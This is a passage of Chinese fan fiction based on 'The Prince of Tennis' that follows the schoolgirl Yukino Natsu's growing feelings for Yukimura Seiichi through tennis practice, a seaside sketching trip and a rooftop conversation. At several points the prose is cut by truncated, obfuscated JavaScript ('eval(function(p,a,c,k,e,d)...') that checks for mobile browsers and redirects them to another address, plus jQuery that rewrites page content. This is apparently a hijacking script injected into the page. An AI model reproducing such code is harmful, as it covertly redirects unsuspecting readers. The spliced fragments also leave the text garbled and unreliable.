“赤也,网球部不允许外人入内哦~”一个银蓝色头发的男生走过来,脑后扎着小辫子,笑容有些邪气。 “当心真田副部长铁拳制裁你,piyo~” “仁王学长,这是雪野学姐,和雾岛学姐一样,都是文学部的,不算外人!” 切原介绍完银发少年,又转向雪野夏,“学姐,这是仁王雅治学长,二年B组。” “你好。”雪野夏礼貌地点头,“打扰你们训练了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001315|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没关系,反正这会儿也没什么人。puri~”仁王打量着她,绀碧色的瞳孔骨碌碌转,“原来你就是那个让柳停止数据收集的转学生。” 雪野夏有些惊讶:“这事传得这么快吗?” “不过你可得小心了,他可是我们的军师。”仁王笑的痞气,“什么事都瞒不过他。” 雪野夏:“……”好一个答非所问。 这时,练习赛结束了。 幸村精市和真田弦一郎走过来,两人都流了很多汗。 “雪野同学?”幸村看见她,有些意外,“你怎么会来这里?” “我……”雪野夏一时语塞。 “是我带学姐进来的!”切原抢答。 幸村用毛巾擦着汗,微笑着说:“既然来了,要不要看看我们的训练?虽然可能有点单调。” “不会单调。”雪野夏摇摇头,“刚刚幸村君和真田君的对局,我看得很投入,有种让人热血沸腾的感觉。” 真田看了她一眼,没说话,只是压了压帽檐。 接下来的半个小时,雪野夏本着“来都来了”的心态,在场边的长椅坐下,安静观看起训练来。 她不太懂网球的技术细节,但能感受到网球部部员们那种专注和热情。每个球员都很认真,即使是基础练习也一丝不苟。 场上的节奏很快、击球声、奔跑的脚步声、偶尔响起的指导声交织一片,但并不杂乱。 离她最近的球场上,切原赤也正和一个红头发的男生对打,球拍挥得虎虎生风,嘴里还不停嚷嚷着“看我这招!”。 红发少年则是一副游刃有余的样子,偶尔吹起个泡泡糖,球一个不落,接得稳稳当当。 另一边,真田正指导几个一年级生练习步法。他的声音不高,音调沉沦清晰,很有力量感,新生们听得一脸紧绷,动作更不敢有丝毫懈怠。 幸村披着外套站在场边,目光缓缓扫过每一个角落。有时他会走近某个部员,轻声说几句,对方便会恍然大悟般点头。明明只是站着,存在感却比场上任何人都强。 雪野夏的视线不知不觉就落在他身上,没再移开过。 风吹过球场,扬起他深蓝色的发梢。他侧脸线条平静柔和,眼神却很锐利,像是在审视着什么,又像在守护着什么。 那一瞬间,她忽然有点明白为什么这群个性鲜明、能力出众的少年,都愿意追随他。 “好看吗?” 带着戏谑的声音忽然从身旁响起。 雪野夏一惊,转头就看见仁王雅治不知何时溜到了她旁边,也学着她的样子靠着椅背,银发小辫垂在肩头。 “……训练很精彩。”她移开目光。 “puri~”仁王轻笑一声,没再说什么,只是懒洋洋地望向球场。 “仁王,下来训练,别偷懒。”场上传来真田的呵斥声。 “嗨嗨嗨!” 起身时,仁王忽然凑近一点,压低声音,“能让部长同意坐在这里近距离观看训练的,雪野桑可是第一个哦。” 雪野夏怔了怔,还没回应,仁王已经站起来,随手挥了挥。 “慢慢看~我去热身啦。”他脚步轻快地走了。 她再去看幸村那边时,心跳悄悄漏了一拍—— 他也正看着她。 9. 去海边 隔着半个球场,他们的目光穿过奔跑的人影与飞舞的网球,在空中轻轻相触。 然后,他朝她微微一笑。 那一瞬间,世界万籁俱寂,周围的喧嚣和光亮仿佛统统被抽离。他的笑容像穿透厚重云层的天光,笔直地倾泻下来,只落向她一个人。 砰。砰。砰。 原来心跳是这样震耳欲聋的声音,连拂过耳畔的风,都成了它的回音。 休息间隙,幸村走过来,自然地在她旁边坐下。 他手上拿着一瓶瓶装水,拧松瓶盖后才递到她面前。 “谢谢。”雪野夏接过水,目光落在瓶口的小细节,心头暖暖的。 “你们的训练很严格呢。” “因为目标是全国冠军。立海大已经连续五年全国冠军了,今年也一定要卫冕成功。” “压力很大吧?” “嗯,但压力也是动力。”幸村转头看她,“所有认真做事的人,都会有压力。” 风吹过球场,带来初夏的暖意。 雪野夏看着幸村侧脸的汗珠,突然想起上周六在画室的情景。那时候的他很安静,很专注,和现在球场上的他完全不同,但又奇异地相似。 “对了,”幸村想起什么,“这周末画室有写生活动,要一起去吗?” “写生?” “嗯,去海边。” 雪野夏犹豫了一下。她周末原本计划整理房间的。 “当然,如果你有了别的安排的话……” “我可以的。”雪野夏轻声打断他,随即又觉得自己答应得太冲动,指尖无意识地捏了捏手中的瓶装水,补充道,“但我可能不会参与画画……只是想去看看海,散散心。这样也可以吗?” “当然可以。”幸村的眼睛弯了起来,清亮而温柔,“那说好了,周六早上九点,我们在学校门口见。” 雪野夏点了点头:“嗯,好。” 应下之后,她才后知后觉地意识到,似乎最近的每一个周末,都是和幸村一起度过的。 不一会,网球部的休息结束,训练又重新开始。 雪野夏又看了一会儿,才起身离开。 走出网球场时,她回头看了一眼。 幸村正微微弯下腰,耐心地为一个紧张的一年级生调整挥拍姿势。 夕阳余晖里,他的影子拉得很长。 - 回家的路上,雪野夏收到了妈妈发来的信息。 「小夏,最近好吗?神奈川应该开始热了吧。记得照顾好自己,不要生病了。妈妈月底会来东京出差,可以陪你几天。想吃什么?妈妈给你做。」 雪野夏的嘴角微微扬起。她快速回复: 「我很好。想吃妈妈做得红烧排骨,还有可乐鸡翅。」 发送后,踏切的警铃声响起,标志性的“叮叮叮——”警铃声清脆而富有节奏。 黑白相间的护栏缓缓落下,她站在栏杆后静静等待。左边的上班族低头查看手机,旁边的两个学生咬着面包,右边的主妇调整着购物袋的位置。 地面传来轻微的震动,频率越来越快。先是车头灯刺破轨道的尽头,接着是庞大的车体带着呼啸的风压疾驰而过。 车窗连成流动的光带,映出路人的身影,还有身后的一盏盏亮起的城市灯火,像倒映在电影胶片里的另一个世界。 她想起刚才在网球场看到的画面:那些奔跑的身影,专注的眼神,还有额头低落的汗水。 那是她从未接触过的世界,充满活力和热情的世界。而幸村站在那条线上,是连接她和那个世界的桥梁。 电车最后一节车厢驶过,栏杆几乎同步升起,雪野夏随着人流穿过铁轨。 海风扑面而来,带着夜晚的凉意。 雪野夏走在沿海的公路上,突然哼起一首歌。那是妈妈以前经常唱给她听的歌,关于夏天和海。 手机震动,这次是幸村发来的消息: 「今天看到你来观看训练,我很开心。这周末写生,我很期待^^。」 雪野夏停止哼唱的调调,盯着这条消息,嘴角微微上扬。她回复说: 「我也很期待。」 「(* ̄v ̄)」 发送成功后,雪野夏把手机贴在胸口,感觉心跳很快。 路灯一盏盏亮起,照亮了前方的路。远处传来海浪声,平稳而绵长。 偶尔有海风吹过。 神奈川的风,真的很温柔。就像他偶尔看向她的目光一样。 - 周六清晨,五点刚过,雪野夏就醒了。 她躺在床上,看着窗帘缝隙里透进的微光,听着远处海鸥的叫声。晨光像水一样慢慢漫进房间,把一切都染成温柔的灰蓝色。 “……呜。” 她翻了个面,把脸埋进枕头里,发出一声含混的哀鸣。 为什么又是这样? 身体明明还在沉睡,灵魂却像被上了发条的小人儿,精神百倍地敲起了起床鼓。 在“再睡五分钟”和“反正也睡不着了”之间挣扎了几个回合,她终于放弃抵抗,像煎饼一样把自己从床上翻了起来。 今天是要陪幸村君一起去海边写生的日子。 从答应他邀约的那天起,她就在开始做功课了。不仅查了INS上的写生穿搭和便当灵感,还特意跑去超市,对着“适合带去海边的美味便当”清单,一一挑选食材。 走进厨房时,窗外天色已经亮了几分。她打开冰箱,冷气混合着食材特有的气息扑面而来。 做饭的过程很治愈,食材在她手里慢慢变成漂亮的形状,像在创作小小的艺术品。 做完便当,她站在镜子前试了三套衣服。 最后选了一件嫩黄色的宽松针织开衫,内搭白色高领打底,下搭棕格纹A字百褶短裙,一双及膝的黑色厚底靴,甜酷刚好中和了开衫的软萌,整个人看起来清爽又明亮。 头发用卷发棒卷成了蓬松的大波浪,露出光洁的额头,自带慵懒感。 八点二十,她再次确认自己的打扮不会出错,然后出门了。 按照步行时间,预计会比约定时间早二十分钟到。 会不会去的太早了啊?她这样想着,心里有点打鼓。然而,等她走到学校门口时,才发现自己想多了。 幸村精市比她到的更早。他背着画具箱,手里还提着一个便当袋,正低头看着手机。 “幸村君。”她小声打招呼。 幸村抬起头,脸上露出温和的笑容:“早安。我就猜到你也会提前到。” 雪野夏有些惊讶:“诶?为什么?” “因为上次在画室,你也是提前到了。宁愿早到十分钟,也不让别人等一秒,对吗?” 雪野夏脸一红,没想到他连这种小细节都记得清楚。 “……看来我们都有点‘时间焦虑症’。” “不,”幸村摇了摇头,目光在她脸上停留了一瞬,“我的这种心情,应该叫做‘幸福等待焦虑’。” “幸福等待焦虑?” “嗯,”幸村垂下眼睫,眼神温和地看向她,“就像在拆一份无比喜欢的礼物。拆包装的过程,因为知道里面是什么,反而充满了确定的喜悦和延长的享受。” “喔——我懂了。”雪野夏恍然大悟,眼睛微微亮起,“就像《小王子》里,小狐狸说的那句:‘如果你说你在下午四点来,从三点钟开始,我就开始感觉很快乐。时间越临近,我就越来越感到快乐。’” 她说完,才后知后觉地意识到,自己从昨晚开始的期待、清晨早醒的辗转、甚至对着INS查攻略的那些小心思,岂不正是和小狐狸一模一样的心情? 她悄悄抬眼,飞快地瞥向幸村。 他还在看她,晨风拂过他额前微卷的发梢,眼尾微垂,噙着温润的笑意。 脸颊倏地比之前更烫了,像有看不见的暖流迅速漫过耳尖。 “你刚刚……”雪野夏指了指他的手机,赶忙转移话题,“在看什么?” “潮汐表。”幸村把手机递给她看,“今天上午十点左右是退潮,海滩会比较宽,适合写生。” 雪野夏有些惊讶:“你还查了这个?” “写生也要选对时间和地点。”幸村收起手机,“就像网球比赛要看风向一样。” 雪野夏眨了眨眼:“看风向……是怕球被吹歪吗?” 幸村愣了一下,随即低低地笑了起来,鸢紫色的眼睛里盛满了光。 “嗯,可以这么理解。不过更专业的说法是,风会影响球的旋转和轨迹。” 他看着雪野夏似懂非懂但努力倾听的表情,笑意更深,“简单说,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们抵达时,画室的其他成员到了。顾问老师让大家集合,简单交代几句后,便去遮阳伞下闭目养神了。 退潮后的沙滩很宽,露出湿润的沙地和零星的贝壳。海水是渐变的蓝色。近处透明,远处深蓝。 幸村找了个有礁石的地方放下画具。礁石可以挡风,视野也很好。 “就在这里吧。”他说。 雪野夏点点头,把便当袋放在干净的礁石上。海风吹来,带着咸味和凉意,吹起了她的头发和裙摆。 幸村支起画架,开始调颜料。雪野夏只是来看风景,顺便散心,所以就没有带画具。 不过周围的大家都在支起画架,专心致志,她倒显得有些格格不入。 幸村把自己的备用画板和水彩递给她。 “试试水彩?”他说,“水彩和海的氛围很搭。” 雪野夏眨了眨眼睛,“……好。” 他们斜对坐着,各自面对画纸。幸村画得很专注,几乎不说话。雪野夏起初有些拘谨,但很快沉浸进去。 她画的是眼前的景象——礁石,海浪,远处的小岛。 就像幸村所说的,她不理会技巧,不管标准,只是让手自由地画,让水彩自然交融,形成柔和的渐变。 不知过了多久,耳畔传来清冽而温润的声音:“画得真好。” 雪野夏这才发现幸村在看她的画。她有些不好意思:“只是随便画的。” “不,是真的很好。”幸村指了指她画布上那片渐变的蓝色,“这里的过渡,还有光影的处理……你有很好的色彩感觉。” “谢谢。”雪野夏低下头,嘴角不自觉地弯了弯。 很开心。这是他今天第二次这样认真的夸赞她了。他好像总能一眼就看到她用心的地方。 “那个……”她鼓起勇气,抬起眼,“我可以看看幸村君的画吗?” “当然。” 他略微倾身,将自己的画板转了过来。 雪野夏下意识地望过去—— 下一秒,她的呼吸、视线,乃至周遭所有的风声与海潮,都在那个瞬间被攫住,被抽离。 10. 摸摸头 雪野夏怔怔看着画布,脑海里清晰地回响起集合时,顾问老师用爽朗声音宣布的内容: “今天的写生主题是——‘海’。” 可是…… 幸村那张画布上铺开的,不是海浪,也不是礁石,甚至不是任何与“海”直接相关的景物。 ——他画的是她。 画中的少女坐在礁石上,侧脸对着海,手里拿着画笔。风吹起她的头发和裙摆,阳光在她身上镀了一层朦胧的金边。 背景的海和天都虚化了,只有她清晰而温柔。 “这……”雪野夏的声音有些颤抖。 “抱歉,没有经过你同意。”幸村说,“但刚才的光线太美了,忍不住就画了。” 雪野夏看着画,不知道该说什么。画中的自己很陌生——安静,专注,甚至有些她向往中的美好。 在幸村君眼里,她是这样的存在吗? 心跳蓦地鼓噪起来。 “我画得不好吗?”幸村问。 “不,很好。”雪野夏轻声说,“只是……不像我。” “为什么?” “我没有这么……”她寻找着合适的词,“这么宁静,美好。” 幸村笑了:“可是在我看来,雪野同学就是这样的。” 海风吹过,带来远处孩子们的欢笑声。雪野夏把目光从画上移开,看向大海。 阳光在海面上洒下碎金,波光粼粼。 “谢谢你,幸村君。”她轻声说。 “谢什么?” “谢谢你把我画得这么好。” 幸村沉默了一会儿,然后说:“雪野同学,你好像总是不太自信。” 雪野夏没有否认。 她从小就是这样。成绩不错,但不觉得自己聪明;会画画,但并不认为自己有才华;长相也算清秀干净,可也从没被人夸过漂亮。 因为父母双方的家族里,聪明、有才华、漂亮的孩子,实在太多了。 她告诉幸村,从记事起,自己就是背景板,是家族里最不起眼的那一个。不够耀眼,不够出众,不够一眼让人记住。大人们似乎也默认了她是背景板这一点。 除了爸爸妈妈,还有姑姑。 幸村听完后,放下画笔,在她面前屈膝蹲下: “但在我眼里,雪野同学不是背景板,从来不是。” 雪野夏抬起头。幸村的眼神很认真,鸢紫色的眼睛在阳光下像透明的宝石。 “我想不仅是我,在你喜欢的文学部里,他们也肯定不会认为你是背景板。” 他语气笃定,眼神温柔而真诚,“雪野同学,你很好,值得被喜欢,也可以喜欢任何人。” “就算你这么说,我……”被他那样认真地注视着,她耳根不由地发烫,“我也不知道该怎么去做。” 这是真心话。她习惯了否定自己。用现在网上流行的话来说,就是她心里始终缺了那么一点“配得感”。 “你不需要思考这个问题,你只要做你自己就好。” 幸村温柔地说,“坦然地接受别人的喜欢和赞美,也学着坦然地去喜欢自己。就像现在这样,做你喜欢的事,想画画的时候就画画,想看海的时候就来看海,这样就很好。” 雪野夏看着他,一时呆住。 海浪拍打着礁石,发出有节奏的声响。海鸥在空中盘旋,鸣叫声穿透风声。 “幸村君,”她突然问了不相干的问题,“你会有感到不安的时候吗?” “经常。”幸村回答,“比赛前会不安,画画时会不安,甚至和人说话时也会不安。” “但你总是看起来很从容。” “那是练习的结果。”幸村微笑,“就像网球,挥拍一万次,动作就会变成本能。从容也是,练习多了,就不会感到紧张和局促了。” 这个回答让雪野夏很意外。她一直以为幸村天生就是那样从容。 “其实,”幸村继续说,带着点调侃看向她,“我第一次见到你的时候,也很紧张。” “什么时候?” “就是你迷路那天。”幸村笑了笑,“我本来想装作没看见,但内心有个声音说应该帮忙。走过去的时候还在想,要是被拒绝怎么办。” 雪野夏想起那天。幸村温和的笑容,自然的语气,完全看不出紧张。 “你看,”幸村说,“我也在伪装。不过最近好像练习得越来越熟练了。” “练习?”雪野夏好奇。 “嗯,”幸村看着海面,声音里带着笑意,“和某个慢半拍又很认真的人说话,是很好的‘从容练习’。” 雪野夏瞳孔一缩。 似乎有什么东西乘着海风,擦着她的心尖飘了过去。 痒痒的,暖暖的。 是什么……呢? 她张了张嘴,想问,却又不知道具体该问什么。 海风在这时扑面涌来,带着湿润的咸味和无垠的自由,拂过她的面颊,也吹散了她心头那点刚刚聚拢的、朦胧的疑问。 - 中午,他们在礁石上吃便当。 幸村打开便当盒,表情忽然微妙地顿了一下。 他默默用叉子拨开最上层的生菜,下面赫然用番茄酱画着一个笑脸,旁边还写着“加油!”。 “怎么了?”雪野夏凑过来。 “啊,这个……”幸村轻咳一声,用生菜叶把那个笑脸盖住,“百合子她……总是有些多余的创意。” 雪野夏看到那个笑脸,忍不住笑起来,觉得那个笑脸和眼前这个一丝不苟的美少年形成了奇妙的反差。 “很可爱呀。你妹妹一定很喜欢你。” 幸村耳尖微红,叹了口气:“她只是热衷于在各种地方留下‘记号’,包括我的网球拍包。上次比赛,我拿出水壶时发现上面贴满了加油贴纸。” 想象了一下那个画面,雪野夏笑得更开心了。 “那不是很棒吗?专属的应援团。” “是啊,”幸村看着那个笑脸,眼神温柔下来,“虽然有时候会让人有点不好意思。” 幸村妹妹做的三明治很好吃,面包松软,夹着火腿、生菜和特制酱料。她做的虾仁炒饭也得到了幸村的好评。 吃完饭,他们躺在沙滩上休息。 阳光暖暖的,海浪声像催眠曲。雪野夏闭上眼睛,耳边是海浪翻涌的声音,风声,还有两人平稳的呼吸。 “雪野同学,”幸村轻声说,“我可以叫你的名字吗?” 雪野夏睁开眼睛:“诶?” “因为‘雪野同学’听起来太正式了,”幸村解释道,指尖无意识地虚空划了一下,“而且,我们的姓氏发音都有‘YUKI’,打电话叫外卖的时候可能会搞混谁是谁。” 这个过于生活化的比喻让雪野夏“噗嗤”笑出声。 “所以,为了防止未来可能的外卖纠纷,”幸村的表情一本正经,如果忽略他眼底掠过的狡黠,“我可以提前叫你的名字吗?” 说完,又似以退为进:“当然,如果你觉得冒昧……” “不冒昧。”雪野夏回答,“那……我可以叫你幸村吗?” “当然。”幸村笑了,“我很高兴。” ——夏。 这个字从他唇间落下的瞬间,像一颗石子投入广袤而寂静的湖心,漾开一大片涟漪。很轻柔,很勾人,带着他嗓音里特有的清润,像羽毛挠过耳膜。 她怔怔地望着那双近在咫尺的漂亮眼睛,那里面映着天空的湛蓝,也映着那个有些愣神的自己。 胸腔里那颗心,忽然很重地、很重地,跳空了一拍。 云在天上慢悠悠地飘,像被风推着的白帆。 她微张开唇,说不出话,只剩下指尖在掌心悄悄蜷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001317|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧。 原来只是被叫名字,就会让人心率过速、耳根发烫。 他们又安静下来。 彼此仰面躺着,望着天空中缓慢移动的白云。云上是不是也有一座天空之城呢。 思绪自由地飘远,雪野夏感觉自己此刻不是躺在海岸沙滩上,而是躺在哈儿的那片秘密基地的花园里,自由,无垠。 “幸村。” “嗯?” “谢谢你。” 幸村浅浅笑了一声。 “又谢什么?” “谢谢你让我看见另一个你。也谢谢你,让我看见另一个自己。” 幸村没有接话,只是忽然伸手,轻轻揉了揉她的发顶。很短暂的触碰,几乎一秒钟就收了回去。 那一秒钟里,雪野夏感觉心跳停滞。旋即又像解冻的春河,在胸腔里奔涌鼓噪。 “……头发上,沾了片小贝壳。”他声音如常地解释。 她没看见的是,幸村收回手后,手指不着痕迹地蜷缩了一下,然后顺势插进了外套口袋。 - 下午三点,他们收拾东西准备返程。 幸村把画送给夏:“留个纪念。” “那你的作业怎么办?”雪野夏问。 “我拍照了。”幸村晃晃手机,“原作就给你吧。” 回程的电车上,雪野夏一直看着那幅画。 画中的少女很安静,握着画笔,眼神专注明亮,有种蓬勃的生命力。 “夏,”幸村突然说,“下个月网球部有友谊赛,要来看吗?” 雪野夏看向他,“友谊赛?” “嗯,对冰帝学园。”幸村说,“迹部财团在神奈川新建的网球俱乐部开业,邀请我们去打表演赛,应该会很有趣。” “好。”雪野夏点头,“我会去。” 电车穿过隧道,驶向城市。窗外的风景从海变成街道,从宁静变成喧嚣。 到站时,幸村说要先送她回家。夕阳把他们的影子拉得很长,偶尔重叠在一起。 到公寓楼下,雪野夏说:“今天很开心。” “我也是。”幸村微笑,“那……周一学校见?” “嗯,周一见。” 雪野夏转身上楼,走到一半时习惯性地回头。 幸村还站在原地,像之前一样,看到她回头,他朝她挥了挥手。 她也做了同样的动作,然后转身快步上楼。 - 进门后,雪野夏走到书桌前,把那幅画放在电脑旁边。 她拿出记事簿,翻开写道: 「5月23日,晴 今天去海边写生。幸村君画了我。 他说,我做自己就好。 他还说,我们名字的发音一样,都是YUKI。 他第一次叫我的名字。 ——夏。 不是全名,只是一个单字。 可正因为如此,听起来才格外亲昵。 就仿佛我闭着眼睛,站在一片无垠的雪原上,听见有人在背后唤我的名字。 睁开眼,回过头时,他就站在我身后。 那一刻,耳边忽然响起儿时听过的话——雪野夏的含义是,在冰封的世界呼唤盛夏。 他摸了我的头,只有一秒钟。 在这一秒钟里,世界很安静。安静到我怀疑他是不是听到了我震耳欲聋的心跳声。 回来的路上我一直在想:他说我的“头发上沾了贝壳”是不是真的? 万一是真的,那我顶着那片贝壳过了大半天?真是形象全无!可如果是借口,那岂不是……更让人心跳过速? 无论哪种情况,幸村君都“罪大恶极”。 但我好像…… 并不想追究他的“罪责”。 我想—— 我大概,是喜欢上幸村君了。」 11. 向云端 上午最后一节下课铃响后,便是午休时间,雪野夏带着便当和书走向教学楼天台。 这是她最近发现的另外一个好地方,比教学楼古树下的那块地还要安静,而且视野开阔,可以看见远处的海和整个校园。 最重要的是,初夏将至,天气热起来后,这里很少有人来。 推开天台的门,风立刻扑面而来。五月底的风已经很暖了,带着植物生长的气息。 雪野夏走到水塔旁的阴影处坐下,打开便当盒。 早上起来要晨跑,便当一般是前一天昨晚做的,都是写简单上手省时间的菜式。梅子饭团,玉子烧,焯过水的西兰花。 吃完便当,她收起便当盒,开始看带来的小说。 是阿加莎·克里斯蒂的《东方快车谋杀案》,邻座的柳生比吕士推荐的。 由于是邻桌的关系,加上她总觉得对柳生有种莫名的亲切感,便偶尔在课间会找他聊天。 柳生是学生会主席,同时还是网球的正选,不是在处理学生会事务就是去网球部训练。只有课间的休息时间,他会看一些小说之类。 他看的大多是侦探推理相关的书,有次雪野夏课后趴在桌上无聊,找他借书看,当时他刚看完东野圭吾的《回廊亭杀人事件》,顺手递给她。 薄薄的一本书,故事很短,但精彩绝伦。 看完后,雪野夏仿佛感受到了推理小说的乐趣,又找他推荐同类型的书。 “如果你想了解人心的复杂,可以从这本书开始。”他说完,写了一个书名递给她。 雪野夏翻到下一章,正读到波洛开始讯问乘客时,天台的门又被推开了。 三个女生走了进来。雪野夏余光撇了一眼,认出她们都是一年级的学妹,经常在图书馆看到。 她往水塔后挪了挪,不想被打扰。 “一江同学,你真的要这么做吗?”一个戴着眼镜的女生担忧地问。 被称作一江的女生扎着栗色马尾,手指绞在一起:“我不知道……我真的不知道……” “要我说,就选学长。”另一个红发女生果断地说,“宏彦那种渣男,有什么好留恋的?” “可是……”一江的声音带着哭腔,“我和宏彦认识十几年了,从幼儿园就……” “十几年又怎样?”红发女生打断她,“他劈腿的时候想过你们青梅竹马的情分吗?” 雪野夏大概听明白了,是感情问题。她觉得听墙角不太好,本想悄悄离开,但已经来不及了。三个女生就在她隔壁坐下,开始了一场关于“如何选择”的讨论。 三人争论了十多分钟,也没有得出结论。 “如果两个人都让你痛苦,”雪野夏忍不住开口,“那为什么非要选一个呢?” 三个女生吓了一跳,这才发现水塔后还有人。 “雪、雪野学姐?”戴眼镜的女生认出她。 “抱歉,我不是故意偷听的。”雪野夏合上书,看向一江,也就是那个扎着栗色马尾的女生。 “我只是觉得,如果这两段感情带来的痛苦都多于快乐,那也许就该考虑第三种选择。” “第三种选择?” “比如,暂时谁也不选。”雪野夏平静地说,“多给自己留一些时间,想清楚自己真正想要什么。” 一江怔怔地看着她:“可是……我怕错过……” “会错过的,或许本来就不是真正属于你的。”雪野夏目光温和,“真正珍惜你的人,不会让你活在‘错过’的忐忑里。他会在看见你犹豫和不安的时候,默默陪在你身边,陪你一起找到答案。” 三个女生沉默了很久。 风从天台吹过,带来远处棒球场的声音。 “学姐,”红发女生突然问,“如果喜欢上一个……好像永远也够不到的人,该怎么办呢?” 雪野夏的心轻轻一颤。 不知怎的,眼前倏然浮现出幸村的模样。想起海边写生时,他摸她头的那一秒钟。 沉默片刻,她才开口: “如果确定不会有结果,就把这份喜欢好好收在心里。让它成为让前行路上的光,而不是困住自己的锁链。” “可是……那样不会很痛苦吗?” “我想,那一定会很痛苦。”雪野夏笑了笑。 “但痛苦总会过去的,而曾经那样认真喜欢一个人的心情……将来回想起来,一定会是记忆里很温柔的一部分。” 三个女生似懂非懂地点点头。又聊了一会儿,她们起身离开。 “谢谢你,学姐。”一江鞠躬,“我会好好考虑的。” “加油。”雪野夏微笑。 天台再次安静下来。 雪野夏靠着水塔,静静望向远处的海平面。她刚才说的那些话,其实也是对自己说的。 喜欢幸村吗? 是的,喜欢。 可能在一起吗? 她不知道。 但她知道,这份喜欢让她开始改变。她开始愿意走出门,开始尝试融入社团,开始主动和班上的同学交流。 这份喜欢,像是推开了一扇窗,让她看见了更明亮、也更向往的自己。 “很温柔的回答呢。” 熟悉的声音从水塔上方传来。 雪野夏吓了一跳,蓦地抬头—— 幸村精市坐在水塔边缘,垂眸望向她。他背对着光,面容轮廓有些模糊,但她能感觉到,他在笑。 风拂过他深蓝的碎发,发梢微微扬起。他的身后,是铺展到天际线的辽阔无垠的晴空。 云絮缓慢游移,而他坐在那里,从容得像这片天空的主人。 那一瞬间,雪野夏忘记了呼吸。 他看起来那么近,却又那么远。仿佛伸手可触,却又像隔着凡人与神明的距离。 在她漆黑微怔的瞳孔里,那位“神明”忽然动了。 他撑着手臂,踩着生锈的铁梯,从神坛上一步一步走下来,直到停在她面前。 然后,他屈膝蹲下来。视线与她平齐。 “幸、幸村君……?”雪野夏看着骤然逼近的脸,呼吸一滞,耳根瞬间烧了起来,连说话都变得磕绊,“你、你怎么会……” “这里算是我的秘密基地。”幸村眨了眨眼,笑意很轻,“本来想在这儿看会儿书,不小心睡着了。醒来刚好听见你们的对话。” 雪野夏的耳根烫得有点疼。 所以,她刚才说的那些话,他都听见了? “抱歉,不是故意偷听。”他的声音温和,带着一点点刚睡醒的微哑,“只是那种时候突然出现,好像反而会更尴尬。” “……嗯,我明白。”雪野夏小声应道,目光不由自主落在他脸上。 ——好近。 这个距离,她能看清他根根分明的睫毛,能闻到他衣领间干净的、像被阳光晒过的淡淡气息。 他蹲着的姿态放松又自然,和此刻的她完全不一样——心跳失序,连指尖都在微微发麻。 幸村在她旁边蜷腿坐下,另一条腿随意伸展,中间隔着点距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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问题抛了回来,裹着一层温柔的茧。雪野夏感到心跳在耳畔鼓噪,像被风卷起的叶,忽上忽下。 “这……” 她语塞,感觉自己像是站在夏夜的沙滩上,潮水毫无预兆地漫到脚边。退无可退,但又不会真正将她淹没。 在她心跳如鼓、说不出话的几秒里,天台的风忽然大了起来,吹得发丝凌乱,几缕贴进了眼睛。 雪野夏下意识眯起眼,感觉到温暖的触感掠过太阳穴,轻擦过耳廓,将遮住视线的头发轻轻拨开。 她睁开眼睛时,幸村已经站起身。 “下午还有点事,我先走了。” 他自上而下地垂眸看她。身后是一望无垠的蓝天与流云。 她仰着脸,“嗯。” 幸村走到天台门口,忽然回过头。 “对了,下个月的友谊赛,你会来吧?” “会的。” 他站在门边,声音同他的人一样温和: “那么……比赛结束后,我有话想跟你说。” 说完,他推门离开。 雪野夏一个人坐在天台上,很久很久。手里还拿着《东方快车谋杀案》,但一个字也看不进去。 水塔的影子移动了方向。 风吹过,带来远处上课的预备铃声。雪野夏收拾好东西,慢慢走下楼梯。 脚步虚浮,像是踩在云朵上。 12.小争执 整个下午,雪野夏都有些心不在焉。 文学部的活动结束后,大家都走得差不多,活动室只剩下副部长雾岛星罗。 雪野夏趴在桌上,耷拉着脑袋,浑身被抽走骨头似的。 “雪野同学?”雾岛星罗敲了敲桌子,“这篇稿子你觉得怎么样?” 雪野夏回过神,接过稿子。 是一篇关于夏天的散文,写得不错,但有几个地方的用词可以更精炼。 “这里,”她指着一段,“‘炎热的夏天’可以改成‘盛夏’,更简洁。还有这里,‘非常美丽’可以换成具体的描写。” “完全没有问题啊。”雾岛托着下巴,目光却落在她脸上,“但你今天的样子看起来,好像有点不在状态?” “抱歉。”雪野夏揉了揉太阳穴,“可能是昨晚没睡好。” “难道……是有少女的心事?” 雪野夏一怔:“你怎么知……”话到一半猛然收住,耳根微微发烫,“不,我不是那个意思……” “好啦,这里又没有外人。” 雾岛拉开她对面的椅子坐下,双手交叠,下巴搁在手背上,含笑的眼睛望进她闪烁的眸光里。 “是和幸村君有关?” 雪野夏沉默。 ……还真是犀利,一针见血。 “不说话,那就是我猜对咯?”雾岛笑意加深,声音压得低了些,“你们……吵架了?” “不是。”雪野夏把发烫的脸颊埋进臂弯,声音闷闷地传出来,“但是好像比起吵架,要麻烦多了。” 